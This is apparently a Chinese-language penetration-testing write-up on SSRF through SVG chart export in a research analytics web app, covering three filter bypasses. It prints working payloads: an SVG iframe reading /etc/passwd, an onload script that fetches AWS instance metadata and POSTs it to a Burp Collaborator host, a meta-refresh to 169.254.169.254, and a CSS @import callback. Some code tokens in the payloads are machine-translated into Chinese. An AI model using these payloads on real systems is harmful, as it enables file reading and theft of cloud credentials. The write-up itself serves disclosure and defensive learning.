SVG SSRF 绕过

2022-04-12 10:21:40 浏览数 (1)

我正在测试一个应用程序,它是一个基于 Web 的分析解决方案,它与世界各地的研究机构打交道,以分析新出现的研究趋势并创建报告。

由于该应用程序大量处理数据分析,该应用程序具有将研究数据显示为饼图、图形、表格等的功能。还可以使用数据准备报告并与共同研究人员共享。

这些饼图、报告和图形可以导出为 DOCX、PDF 和 PNG。你知道我要去哪里吗?

开发

正如我们之前所了解的,研究数据以图表的形式显示。以下是相同的屏幕截图。

在屏幕截图的右侧,我们看到“将图表导出为图像”选项

单击“将图表导出为图像”后,我们会看到一个带有图像内容的 POST 请求,如下面的屏幕截图所示。

我最初只是删除了整个content参数并替换为

<h1>h1 注入</h1>

该图像是PNG图像,将内容替换为“h1”标签后,服务器没有任何验证/输出编码,我可以看到h1标签注入成功。我没有很多截图。

由于 HTMLi 运行良好,我注意到svg发送了许多标签。我只是使用下面的有效载荷来检索etc/passwd内容。

代码语言:javascript复制
<svg width="500" height="500" xmlns=" http://www.w3.org/2000/svg " xmlns:xlink=" http://www.w3.org/1999/xlink "><foreignObject width="500" height="500"><iframe xmlns=" http://www.w3.org/1999/xhtml " src="file:///etc/passwd" width="800" height="850"/></foreignObject></svg>

而且我能够按预期检索文件内容。

已应用补丁

## 旁路-1

客户对像iframe script. 所以获取文件内容并不像之前那么简单。

我能够使用image标签和其他使用src属性的标签在我的服务器上接收回调。

由于不允许使用 javascript(脚本)标签,我的思考过程是以某种方式找到运行 JS 的方法。

通过https://github.com/allanlw/svg-cheatsheet我了解到可以运行“ inline in event javascript ”。

我在https://github.com/allanlw/svg-cheatsheet#inline-in-event使用了有效负载,并且内联 JS 确实有效。

现在我需要一种方法来泄露数据。我构建了以下有效载荷

代码语言:javascript复制
<svg width="100%" height="100%" viewBox="0 0 100 100"xmlns=" http://www.w3.org/2000/svg " xmlns:xlink=" http://www.w3.org/1999/xlink "><image xlink:href=" https://google.com/favicon.ico " height="20" width="20" onload="fetch(' http://169.254.169.254/latest/meta-data/hostname ').then(函数(响应){response.text().then(function(text) {变量参数 = 文本;var http = new XMLHttpRequest();var url = ' https://3785e80n5cipba9xo2npdk7v7mdc11.burpcollaborator.net/' ;http.open('POST', url, true);http.send(参数);})});" /></svg>

有效载荷是如何工作的?

  1. 我们加载 Google 的网站图标,加载成功后,触发事件处理程序onload 。
  2. 使用 Fetch API,我们请求 AWS 元数据。
  3. 我们将元数据响应存储在“params”参数中。
  4. 然后服务器向 burp 协作服务器发出 POST 请求,元数据作为 POST 正文。见附件图片作为证据。

## 旁路-2

客户现在已经实施了阻止 javascript 的修复程序。另外,如果您还记得在诸如此类的标签上应用了输出编码script iframe

然后我读到了这个有趣的绕过——https: //twitter.com/kunalp94/status/1502527605836173312

我使用了相同的meta标签,结果证明是成功的。下面分享payload

代码语言:javascript复制
<meta http-equiv="refresh" content="0;url=http://169.254.169.254" />

## 旁路-3

客户应用更多的输出编码。我没有选择余地,然后想起了 Nahamsec 的精彩演讲。下面的视频

在这里,Ben 谈到了style标签 (CSS) 上缺少验证。我也试过了。

我尝试使用style, import,link标签。我成功地获得了回调。

style我使用了下面的有效负载(标签内的 HTML )并且它有效!

代码语言:javascript复制
<style><h1>h1taginjection</h1><iframe xmlns=" http://www.w3.org/1999/xhtml " src="file:///etc/passwd" width="800" height=" 850"/> 
    @import url( http://ta79rlzq77p2kdoak91nqryxlorff4.burpcollaborator.net/import.css );</style>

## 最终修复

在又一个补丁和更多编码之后,我尝试了各种标签,但没有成功。

向 DOCX SSRF 报告

与上述利用类似,“向 DOCX 导出报告”也存在漏洞。

0 人点赞